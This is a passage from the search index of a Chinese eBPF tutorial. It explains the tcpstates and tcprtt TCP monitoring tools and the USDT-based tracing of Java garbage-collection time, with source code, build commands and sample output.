Maps","id":"85","title":"定义 BPF Maps"},"86":{"body":"程序定义了一个名为handle_set_state的函数，该函数是一个 tracepoint 类型的程序，它将被挂载到sock/inet_sock_set_state这个内核 tracepoint 上。每当 TCP 连接状态发生变化时，这个 tracepoint 就会被触发，然后执行handle_set_state函数。 在handle_set_state函数中，首先通过一系列条件判断确定是否需要处理当前的 TCP 连接，然后从timestampsmap 中获取当前连接的上一个时间戳，然后计算出停留在当前状态的时间。接着，程序将收集到的数据放入一个 event 结构体中，并通过bpf_perf_event_output函数将该 event 发送到用户态。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 追踪 TCP 连接状态变化","id":"86","title":"追踪 TCP 连接状态变化"},"87":{"body":"最后，根据 TCP 连接的新状态，程序将进行不同的操作：如果新状态为 TCP_CLOSE，表示连接已关闭，程序将从timestampsmap 中删除该连接的时间戳；否则，程序将更新该连接的时间戳。 用户态的部分主要是通过 libbpf 来加载 eBPF 程序，然后通过 perf_event 来接收内核中的事件数据： static void handle_event(void* ctx, int cpu, void* data, __u32 data_sz) { char ts[32], saddr[26], daddr[26]; struct event* e = data; struct tm* tm; int family; time_t t; if (emit_timestamp) { time(&t); tm = localtime(&t); strftime(ts, sizeof(ts), \"%H:%M:%S\", tm); printf(\"%8s \", ts); } inet_ntop(e->family, &e->saddr, saddr, sizeof(saddr)); inet_ntop(e->family, &e->daddr, daddr, sizeof(daddr)); if (wide_output) { family = e->family == AF_INET ? 4 : 6; printf( \"%-16llx %-7d %-16s %-2d %-26s %-5d %-26s %-5d %-11s -> %-11s \" \"%.3f\\n\", e->skaddr, e->pid, e->task, family, saddr, e->sport, daddr, e->dport, tcp_states[e->oldstate], tcp_states[e->newstate], (double)e->delta_us / 1000); } else { printf( \"%-16llx %-7d %-10.10s %-15s %-5d %-15s %-5d %-11s -> %-11s %.3f\\n\", e->skaddr, e->pid, e->task, saddr, e->sport, daddr, e->dport, tcp_states[e->oldstate], tcp_states[e->newstate], (double)e->delta_us / 1000); }\n} handle_event就是这样一个回调函数，它会被 perf_event 调用，每当内核有新的事件到达时，它就会处理这些事件。 在handle_event函数中，我们首先通过inet_ntop函数将二进制的 IP 地址转换成人类可读的格式，然后根据是否需要输出宽格式，分别打印不同的信息。这些信息包括了事件的时间戳、源 IP 地址、源端口、目标 IP 地址、目标端口、旧状态、新状态以及在旧状态停留的时间。 这样，用户就可以清晰地看到 TCP 连接状态的变化，以及每个状态的停留时间，从而帮助他们诊断网络问题。 总结起来，用户态部分的处理主要涉及到了以下几个步骤： 使用 libbpf 加载并运行 eBPF 程序。 设置回调函数来接收内核发送的事件。 处理接收到的事件，将其转换成人类可读的格式并打印。 以上就是tcpstates程序用户态部分的主要实现逻辑。通过这一章的学习，你应该已经对如何在用户态处理内核事件有了更深入的理解。在下一章中，我们将介绍更多关于如何使用 eBPF 进行网络监控的知识。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 更新时间戳","id":"87","title":"更新时间戳"},"88":{"body":"在本章节中，我们将分析tcprtt eBPF 程序的内核态代码。tcprtt是一个用于测量 TCP 往返时间(Round Trip Time, RTT)的程序，它将 RTT 的信息统计到一个 histogram 中。 /// @sample {\"interval\": 1000, \"type\" : \"log2_hist\"}\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u64); __type(value, struct hist);\n} hists SEC(\".maps\"); static struct hist zero; SEC(\"fentry/tcp_rcv_established\")\nint BPF_PROG(tcp_rcv, struct sock *sk)\n{ const struct inet_sock *inet = (struct inet_sock *)(sk); struct tcp_sock *ts; struct hist *histp; u64 key, slot; u32 srtt; if (targ_sport && targ_sport != inet->inet_sport) return 0; if (targ_dport && targ_dport != sk->__sk_common.skc_dport) return 0; if (targ_saddr && targ_saddr != inet->inet_saddr) return 0; if (targ_daddr && targ_daddr != sk->__sk_common.skc_daddr) return 0; if (targ_laddr_hist) key = inet->inet_saddr; else if (targ_raddr_hist) key = inet->sk.__sk_common.skc_daddr; else key = 0; histp = bpf_map_lookup_or_try_init(&hists, &key, &zero); if (!histp) return 0; ts = (struct tcp_sock *)(sk); srtt = BPF_CORE_READ(ts, srtt_us) >> 3; if (targ_ms) srtt /= 1000U; slot = log2l(srtt); if (slot >= MAX_SLOTS) slot = MAX_SLOTS - 1; __sync_fetch_and_add(&histp->slots[slot], 1); if (targ_show_ext) { __sync_fetch_and_add(&histp->latency, srtt); __sync_fetch_and_add(&histp->cnt, 1); } return 0;\n} 首先，我们定义了一个 hash 类型的 eBPF map，名为hists，它用来存储 RTT 的统计信息。在这个 map 中，键是 64 位整数，值是一个hist结构，这个结构包含了一个数组，用来存储不同 RTT 区间的数量。 接着，我们定义了一个 eBPF 程序，名为tcp_rcv，这个程序会在每次内核中处理 TCP 收包的时候被调用。在这个程序中，我们首先根据过滤条件（源/目标 IP 地址和端口）对 TCP 连接进行过滤。如果满足条件，我们会根据设置的参数选择相应的 key（源 IP 或者目标 IP 或者 0），然后在hists map 中查找或者初始化对应的 histogram。 接下来，我们读取 TCP 连接的srtt_us字段，这个字段表示了平滑的 RTT 值，单位是微秒。然后我们将这个 RTT 值转换为对数形式，并将其作为 slot 存储到 histogram 中。 如果设置了show_ext参数，我们还会将 RTT 值和计数器累加到 histogram 的latency和cnt字段中。 通过以上的处理，我们可以对每个 TCP 连接的 RTT 进行统计和分析，从而更好地理解网络的性能状况。 总结起来，tcprtt eBPF 程序的主要逻辑包括以下几个步骤： 根据过滤条件对 TCP 连接进行过滤。 在hists map 中查找或者初始化对应的 histogram。 读取 TCP 连接的srtt_us字段，并将其转换为对数形式，存储到 histogram 中。 如果设置了show_ext参数，将 RTT 值和计数器累加到 histogram 的latency和cnt字段中。 tcprtt 挂载到了内核态的 tcp_rcv_established 函数上： void tcp_rcv_established(struct sock *sk, struct sk_buff *skb); 这个函数是在内核中处理TCP接收数据的主要函数，主要在TCP连接处于ESTABLISHED状态时被调用。这个函数的处理逻辑包括一个快速路径和一个慢速路径。快速路径在以下几种情况下会被禁用： 我们宣布了一个零窗口 - 零窗口探测只能在慢速路径中正确处理。 收到了乱序的数据包。 期待接收紧急数据。 没有剩余的缓冲区空间。 接收到了意外的TCP标志/窗口值/头部长度（通过检查TCP头部与预设标志进行检测）。 数据在两个方向上都在传输。快速路径只支持纯发送者或纯接收者（这意味着序列号或确认值必须保持不变）。 接收到了意外的TCP选项。 当这些条件不满足时，它会进入一个标准的接收处理过程，这个过程遵循RFC793来处理所有情况。前三种情况可以通过正确的预设标志设置来保证，剩下的情况则需要内联检查。当一切都正常时，快速处理过程会在tcp_data_queue函数中被开启。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » tcprtt","id":"88","title":"tcprtt"},"89":{"body":"对于 tcpstates，可以通过以下命令编译和运行 libbpf 应用： $ make\n... BPF .output/tcpstates.bpf.o GEN-SKEL .output/tcpstates.skel.h CC .output/tcpstates.o BINARY tcpstates\n$ sudo ./tcpstates SKADDR PID COMM LADDR LPORT RADDR RPORT OLDSTATE -> NEWSTATE MS\nffff9bf61bb62bc0 164978 node 192.168.88.15 0 52.178.17.2 443 CLOSE -> SYN_SENT 0.000\nffff9bf61bb62bc0 0 swapper/0 192.168.88.15 41596 52.178.17.2 443 SYN_SENT -> ESTABLISHED 225.794\nffff9bf61bb62bc0 0 swapper/0 192.168.88.15 41596 52.178.17.2 443 ESTABLISHED -> CLOSE_WAIT 901.454\nffff9bf61bb62bc0 164978 node 192.168.88.15 41596 52.178.17.2 443 CLOSE_WAIT -> LAST_ACK 0.793\nffff9bf61bb62bc0 164978 node 192.168.88.15 41596 52.178.17.2 443 LAST_ACK -> LAST_ACK 0.086\nffff9bf61bb62bc0 228759 kworker/u6 192.168.88.15 41596 52.178.17.2 443 LAST_ACK -> CLOSE 0.193\nffff9bf6d8ee88c0 229832 redis-serv 0.0.0.0 6379 0.0.0.0 0 CLOSE -> LISTEN 0.000\nffff9bf6d8ee88c0 229832 redis-serv 0.0.0.0 6379 0.0.0.0 0 LISTEN -> CLOSE 1.763\nffff9bf7109d6900 88750 node 127.0.0.1 39755 127.0.0.1 50966 ESTABLISHED -> FIN_WAIT1 0.000 对于 tcprtt，我们可以使用 eunomia-bpf 编译运行这个例子： Compile: docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或者 $ ecc tcprtt.bpf.c tcprtt.h\nCompiling bpf object...\nGenerating export types...\nPacking ebpf object and config into package.json... 运行： $ sudo ecli run package.json -h\nA simple eBPF program Usage: package.json [OPTIONS] Options: --verbose Whether to show libbpf debug information --targ_laddr_hist Set value of `bool` variable targ_laddr_hist --targ_raddr_hist Set value of `bool` variable targ_raddr_hist --targ_show_ext Set value of `bool` variable targ_show_ext --targ_sport  Set value of `__u16` variable targ_sport --targ_dport  Set value of `__u16` variable targ_dport --targ_saddr  Set value of `__u32` variable targ_saddr --targ_daddr  Set value of `__u32` variable targ_daddr --targ_ms Set value of `bool` variable targ_ms -h, --help Print help -V, --version Print version Built with eunomia-bpf framework.\nSee https://github.com/eunomia-bpf/eunomia-bpf for more information. $ sudo ecli run package.json\nkey = 0\nlatency = 0\ncnt = 0 (unit) : count distribution 0 -> 1 : 0 | | 2 -> 3 : 0 | | 4 -> 7 : 0 | | 8 -> 15 : 0 | | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 0 | | 128 -> 255 : 0 | | 256 -> 511 : 0 | | 512 -> 1023 : 4 |******************** | 1024 -> 2047 : 1 |***** | 2048 -> 4095 : 0 | | 4096 -> 8191 : 8 |****************************************| key = 0\nlatency = 0\ncnt = 0 (unit) : count distribution 0 -> 1 : 0 | | 2 -> 3 : 0 | | 4 -> 7 : 0 | | 8 -> 15 : 0 | | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 0 | | 128 -> 255 : 0 | | 256 -> 511 : 0 | | 512 -> 1023 : 11 |*************************** | 1024 -> 2047 : 1 |** | 2048 -> 4095 : 0 | | 4096 -> 8191 : 16 |****************************************| 8192 -> 16383 : 4 |********** | 完整源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/14-tcpstates 参考资料： tcpstates tcprtt libbpf-tools/tcpstates","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 编译运行","id":"89","title":"编译运行"},"9":{"body":"eBPF Go库提供了一个通用的eBPF库，它解耦了获取 eBPF 字节码的过程和 eBPF 程序的加载和管理，并实现了类似 libbpf 一样的 CO- 功能。eBPF程序通常是通过编写高级语言创建的，然后使用clang/LLVM编译器编译为eBPF字节码。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » eBPF Go library","id":"9","title":"eBPF Go library"},"90":{"body":"通过本篇 eBPF 入门实践教程，我们学习了如何使用tcpstates和tcprtt这两个 eBPF 示例程序，监控和分析 TCP 的连接状态和往返时间。我们了解了tcpstates和tcprtt的工作原理和实现方式，包括如何使用 BPF map 存储数据，如何在 eBPF 程序中获取和处理 TCP 连接信息，以及如何在用户态应用程序中解析和显示 eBPF 程序收集的数据。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。接下来的教程将进一步探讨 eBPF 的高级特性，我们会继续分享更多有关 eBPF 开发实践的内容。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 总结","id":"90","title":"总结"},"91":{"body":"eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具，被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。这个特性使得 eBPF 能够提供极高的灵活性和性能，使其在网络和系统性能分析方面具有广泛的应用。此外，eBPF 还支持使用 USDT (用户级静态定义跟踪点) 捕获用户态的应用程序行为。 在我们的 eBPF 入门实践教程系列的这一篇，我们将介绍如何使用 eBPF 和 USDT 来捕获和分析 Java 的垃圾回收 (GC) 事件的耗时。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » eBPF 入门实践教程十五：使用 USDT 捕获用户态 Java GC 事件耗时","id":"91","title":"eBPF 入门实践教程十五：使用 USDT 捕获用户态 Java GC 事件耗时"},"92":{"body":"USDT 是一种在应用程序中插入静态跟踪点的机制，它允许开发者在程序的关键位置插入可用于调试和性能分析的探针。这些探针可以在运行时被 DTrace、SystemTap 或 eBPF 等工具动态激活，从而在不重启应用程序或更改程序代码的情况下，获取程序的内部状态和性能指标。USDT 在很多开源软件，如 MySQL、PostgreSQL、Ruby、Python 和 Node.js 等都有广泛的应用。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » USDT 介绍","id":"92","title":"USDT 介绍"},"93":{"body":"在用户层面进行动态跟踪，即用户级动态跟踪（User-Level Dynamic Tracing）允许我们对任何用户级别的代码进行插桩。比如，我们可以通过在 MySQL 服务器的 dispatch_command() 函数上进行插桩，来跟踪服务器的查询请求： # ./uprobe 'p:cmd /opt/bin/mysqld:_Z16dispatch_command19enum_server_commandP3THDPcj +0(%dx):string'\nTracing uprobe cmd (p:cmd /opt/bin/mysqld:0x2dbd40 +0(%dx):string). Ctrl-C to end. mysqld-2855 [001] d... 19957757.590926: cmd: (0x6dbd40) arg1=\"show tables\" mysqld-2855 [001] d... 19957759.703497: cmd: (0x6dbd40) arg1=\"SELECT * FROM numbers\"\n[...] 这里我们使用了 uprobe 工具，它利用了 Linux 的内置功能：ftrace（跟踪器）和 uprobes（用户级动态跟踪，需要较新的 Linux 版本，例如 4.0 左右）。其他的跟踪器，如 perf_events 和 SystemTap，也可以实现此功能。 许多其他的 MySQL 函数也可以被跟踪以获取更多的信息。我们可以列出和计算这些函数的数量： # ./uprobe -l /opt/bin/mysqld | more\naccount_hash_get_key\nadd_collation\nadd_compiled_collation\nadd_plugin_noargs\nadjust_time_range\n[...]\n# ./uprobe -l /opt/bin/mysqld | wc -l\n21809 这有 21,000 个函数。我们也可以跟踪库函数，甚至是单个的指令偏移。 用户级动态跟踪的能力是非常强大的，它可以解决无数的问题。然而，使用它也有一些困难：需要确定需要跟踪的代码，处理函数参数，以及应对代码的更改。 用户级静态定义跟踪（User-level Statically Defined Tracing, USDT）则可以在某种程度上解决这些问题。USDT 探针（或者称为用户级 \"marker\"）是开发者在代码的关键位置插入的跟踪宏，提供稳定且已经过文档说明的 API。这使得跟踪工作变得更加简单。 使用 USDT，我们可以简单地跟踪一个名为 mysql:query__start 的探针，而不是去跟踪那个名为 _Z16dispatch_command19enum_server_commandP3THDPcj 的 C++ 符号，也就是 dispatch_command() 函数。当然，我们仍然可以在需要的时候去跟踪 dispatch_command() 以及 其他 21,000 个 mysqld 函数，但只有当 USDT 探针无法解决问题的时候我们才需要这么做。 在 Linux 中的 USDT，无论是哪种形式的静态跟踪点，其实都已经存在了几十年。它最近由于 Sun 的 DTrace 工具的流行而再次受到关注，这使得许多常见的应用程序，包括 MySQL、PostgreSQL、Node.js、Java 等都加入了 USDT。SystemTap 则开发了一种可以消费这些 DTrace 探针的方式。 你可能正在运行一个已经包含了 USDT 探针的 Linux 应用程序，或者可能需要重新编译（通常是 --enable-dtrace）。你可以使用 readelf 来进行检查，例如对于 Node.js： # readelf -n node\n[...]\nNotes at offset 0x00c43058 with length 0x00000494: Owner Data size Description stapsdt 0x0000003c NT_STAPSDT (SystemTap probe descriptors) Provider: node Name: gc__start Location: 0x0000000000bf44b4, Base: 0x0000000000f22464, Semaphore: 0x0000000001243028 Arguments: 4@%esi 4@%edx 8@%rdi\n[...] stapsdt 0x00000082 NT_STAPSDT (SystemTap probe descriptors) Provider: node Name: http__client__request Location: 0x0000000000bf48ff, Base: 0x0000000000f22464, Semaphore: 0x0000000001243024 Arguments: 8@%rax 8@%rdx 8@-136(%rbp) -4@-140(%rbp) 8@-72(%rbp) 8@-80(%rbp) -4@-144(%rbp)\n[...] 这就是使用 --enable-dtrace 重新编译的 node，以及安装了提供 \"dtrace\" 功能来构建 USDT 支持的 systemtap-sdt-dev 包。这里显示了两个探针：node:gc__start（开始进行垃圾回收）和 node:http__client__request。 在这一点上，你可以使用 SystemTap 或者 LTTng 来跟踪这些探针。然而，内置的 Linux 跟踪器，比如 ftrace 和 perf_events，目前还无法做到这一点（尽管 perf_events 的支持正在开发中）。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 用户层面的追踪机制：用户级动态跟踪和 USDT","id":"93","title":"用户层面的追踪机制：用户级动态跟踪和 USDT"},"94":{"body":"Java 作为一种高级编程语言，其自动垃圾回收（GC）是其核心特性之一。Java GC 的目标是自动地回收那些不再被程序使用的内存空间，从而减轻程序员在内存管理方面的负担。然而，GC 过程可能会引发应用程序的停顿，对程序的性能和响应时间产生影响。因此，对 Java GC 事件进行监控和分析，对于理解和优化 Java 应用的性能是非常重要的。 在接下来的教程中，我们将演示如何使用 eBPF 和 USDT 来监控和分析 Java GC 事件的耗时，希望这些内容对你在使用 eBPF 进行应用性能分析方面的工作有所帮助。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » Java GC 介绍","id":"94","title":"Java GC 介绍"},"95":{"body":"Java GC 的 eBPF 程序分为内核态和用户态两部分，我们会分别介绍这两部分的实现机制。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » eBPF 实现机制","id":"95","title":"eBPF 实现机制"},"96":{"body":"/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */\n/* Copyright (c) 2022 Chen Tao */\n#include \n#include \n#include \n#include \n#include \"javagc.h\" struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 100); __type(key, uint32_t); __type(value, struct data_t);\n} data_map SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __type(key, int); __type(value, int);\n} perf_map SEC(\".maps\"); __u32 time; static int gc_start(struct pt_regs *ctx)\n{ struct data_t data = {}; data.cpu = bpf_get_smp_processor_id(); data.pid = bpf_get_current_pid_tgid() >> 32; data.ts = bpf_ktime_get_ns(); bpf_map_update_elem(&data_map, &data.pid, &data, 0); return 0;\n} static int gc_end(struct pt_regs *ctx)\n{ struct data_t data = {}; struct data_t *p; __u32 val; data.cpu = bpf_get_smp_processor_id(); data.pid = bpf_get_current_pid_tgid() >> 32; data.ts = bpf_ktime_get_ns(); p = bpf_map_lookup_elem(&data_map, &data.pid); if (!p) return 0; val = data.ts - p->ts; if (val > time) { data.ts = val; bpf_perf_event_output(ctx, &perf_map, BPF_F_CURRENT_CPU, &data, sizeof(data)); } bpf_map_delete_elem(&data_map, &data.pid); return 0;\n} SEC(\"usdt\")\nint handle_gc_start(struct pt_regs *ctx)\n{ return gc_start(ctx);\n} SEC(\"usdt\")\nint handle_gc_end(struct pt_regs *ctx)\n{ return gc_end(ctx);\n} SEC(\"usdt\")\nint handle_mem_pool_gc_start(struct pt_regs *ctx)\n{ return gc_start(ctx);\n} SEC(\"usdt\")\nint handle_mem_pool_gc_end(struct pt_regs *ctx)\n{ return gc_end(ctx);\n} char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; 首先，我们定义了两个映射（map）： data_map：这个 hashmap 存储每个进程 ID 的垃圾收集开始时间。data_t 结构体包含进程 ID、CPU ID 和时间戳。 perf_map：这是一个 perf event array，用于将数据发送回用户态程序。 然后，我们有四个处理函数：gc_start、gc_end 和两个 USDT 处理函数 handle_mem_pool_gc_start 和 handle_mem_pool_gc_end。这些函数都用 BPF 的 SEC(\"usdt\") 宏注解，以便在 Java 进程中捕获到与垃圾收集相关的 USDT 事件。 gc_start 函数在垃圾收集开始时被调用。它首先获取当前的 CPU ID、进程 ID 和时间戳，然后将这些数据存入 data_map。 gc_end 函数在垃圾收集结束时被调用。它执行与 gc_start 类似的操作，但是它还从 data_map 中检索开始时间，并计算垃圾收集的持续时间。如果持续时间超过了设定的阈值（变量 time），那么它将数据发送回用户态程序。 handle_gc_start 和 handle_gc_end 是针对垃圾收集开始和结束事件的处理函数，它们分别调用了 gc_start 和 gc_end。 handle_mem_pool_gc_start 和 handle_mem_pool_gc_end 是针对内存池的垃圾收集开始和结束事件的处理函数，它们也分别调用了 gc_start 和 gc_end。 最后，我们有一个 LICENSE 数组，声明了该 BPF 程序的许可证，这是加载 BPF 程序所必需的。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 内核态程序","id":"96","title":"内核态程序"},"97":{"body":"用户态程序的主要目标是加载和运行eBPF程序，以及处理来自内核态程序的数据。它是通过 libbpf 库来完成这些操作的。这里我们省略了一些通用的加载和运行 eBPF 程序的代码，只展示了与 USDT 相关的部分。 第一个函数 get_jvmso_path 被用来获取运行的Java虚拟机（JVM）的 libjvm.so 库的路径。首先，它打开了 /proc//maps 文件，该文件包含了进程地址空间的内存映射信息。然后，它在文件中搜索包含 libjvm.so 的行，然后复制该行的路径到提供的参数中。 static int get_jvmso_path(char *path)\n{ char mode[16], line[128], buf[64]; size_t seg_start, seg_end, seg_off; FILE *f; int i = 0; sprintf(buf, \"/proc/%d/maps\", env.pid); f = fopen(buf, \"r\"); if (!f) return -1; while (fscanf(f, \"%zx-%zx %s %zx %*s %*d%[^\\n]\\n\", &seg_start, &seg_end, mode, &seg_off, line) == 5) { i = 0; while (isblank(line[i])) i++; if (strstr(line + i, \"libjvm.so\")) { break; } } strcpy(path, line + i); fclose(f); return 0;\n} 接下来，我们看到的是将 eBPF 程序（函数 handle_gc_start 和 handle_gc_end）附加到Java进程的相关USDT探针上。每个程序都通过调用 bpf_program__attach_usdt 函数来实现这一点，该函数的参数包括BPF程序、进程ID、二进制路径以及探针的提供者和名称。如果探针挂载成功，bpf_program__attach_usdt 将返回一个链接对象，该对象将存储在skeleton的链接成员中。如果挂载失败，程序将打印错误消息并进行清理。 skel->links.handle_mem_pool_gc_start = bpf_program__attach_usdt(skel->progs.handle_gc_start, env.pid, binary_path, \"hotspot\", \"mem__pool__gc__begin\", NULL); if (!skel->links.handle_mem_pool_gc_start) { err = errno; fprintf(stderr, \"attach usdt mem__pool__gc__begin failed: %s\\n\", strerror(err)); goto cleanup; } skel->links.handle_mem_pool_gc_end = bpf_program__attach_usdt(skel->progs.handle_gc_end, env.pid, binary_path, \"hotspot\", \"mem__pool__gc__end\", NULL); if (!skel->links.handle_mem_pool_gc_end) { err = errno; fprintf(stderr, \"attach usdt mem__pool__gc__end failed: %s\\n\", strerror(err)); goto cleanup; } skel->links.handle_gc_start = bpf_program__attach_usdt(skel->progs.handle_gc_start, env.pid, binary_path, \"hotspot\", \"gc__begin\", NULL); if (!skel->links.handle_gc_start) { err = errno; fprintf(stderr, \"attach usdt gc__begin failed: %s\\n\", strerror(err)); goto cleanup; } skel->links.handle_gc_end = bpf_program__attach_usdt(skel->progs.handle_gc_end, env.pid, binary_path, \"hotspot\", \"gc__end\", NULL); if (!skel->links.handle_gc_end) { err = errno; fprintf(stderr, \"attach usdt gc__end failed: %s\\n\", strerror(err)); goto cleanup; } 最后一个函数 handle_event 是一个回调函数，用于处理从perf event array收到的数据。这个函数会被 perf event array 触发，并在每次接收到新的事件时调用。函数首先将数据转换为 data_t 结构体，然后将当前时间格式化为字符串，并打印出事件的时间戳、CPU ID、进程 ID，以及垃圾回收的持续时间。 static void handle_event(void *ctx, int cpu, void *data, __u32 data_sz)\n{ struct data_t *e = (struct data_t *)data; struct tm *tm = NULL; char ts[16]; time_t t; time(&t); tm = localtime(&t); strftime(ts, sizeof(ts), \"%H:%M:%S\", tm); printf(\"%-8s %-7d %-7d %-7lld\\n\", ts, e->cpu, e->pid, e->ts/1000);\n}","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 用户态程序","id":"97","title":"用户态程序"},"98":{"body":"构建示例需要 clang、libelf 和 zlib。包名在不同的发行版中可能会有所不同。 在 Ubuntu/Debian 上，你需要执行以下命令： sudo apt install clang libelf1 libelf-dev zlib1g-dev 在 CentOS/Fedora 上，你需要执行以下命令： sudo dnf install clang elfutils-libelf elfutils-libelf-devel zlib-devel","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 安装依赖","id":"98","title":"安装依赖"},"99":{"body":"在对应的目录中，运行 Make 即可编译运行上述代码： $ make\n$ sudo ./javagc -p 12345\nTracing javagc time... Hit Ctrl-C to end.\nTIME CPU PID GC TIME\n10:00:01 10% 12345 50ms\n10:00:02 12% 12345 55ms\n10:00:03 9% 12345 47ms\n10:00:04 13% 12345 52ms\n10:00:05 11% 12345 50ms 完整源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/15-javagc 参考资料： https://www.brendangregg.com/blog/2015-07-03/hacking-linux-usdt-ftrace.html https://github.com/iovisor/bcc/blob/master/libbpf-tools/javagc.c","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 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